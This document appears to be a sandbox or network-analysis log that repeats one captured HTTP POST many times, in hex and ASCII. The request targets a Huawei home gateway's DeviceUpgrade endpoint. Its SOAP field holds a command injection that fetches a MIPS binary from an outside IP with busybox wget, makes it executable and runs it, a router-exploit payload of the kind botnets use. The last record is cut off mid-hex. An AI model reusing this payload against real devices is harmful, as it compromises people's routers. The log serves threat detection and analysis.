Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 36 2e 35 37 2e 31 38 37 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.56.57.187 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 36 2e 35 37 2e 31 38 37 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.56.57.187 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 36 2e 35 37 2e 31 38 37 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.56.57.187 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 36 2e 35 37 2e 31 38 37 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.56.57.187 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 36 2e 35 37 2e 31 38 37 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.56.57.187 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 36 2e 35 37 2e 31 38 37 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.56.57.187 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 36 2e 35 37 2e 31 38 37 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.56.57.187 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 36 2e 35 37 2e 31 38 37 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.56.57.187 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 36 2e 35 37 2e 31 38 37 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.56.57.187 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 36 2e 35 37 2e 31 38 37 20 2d 6c 20 2f 74 6d 70 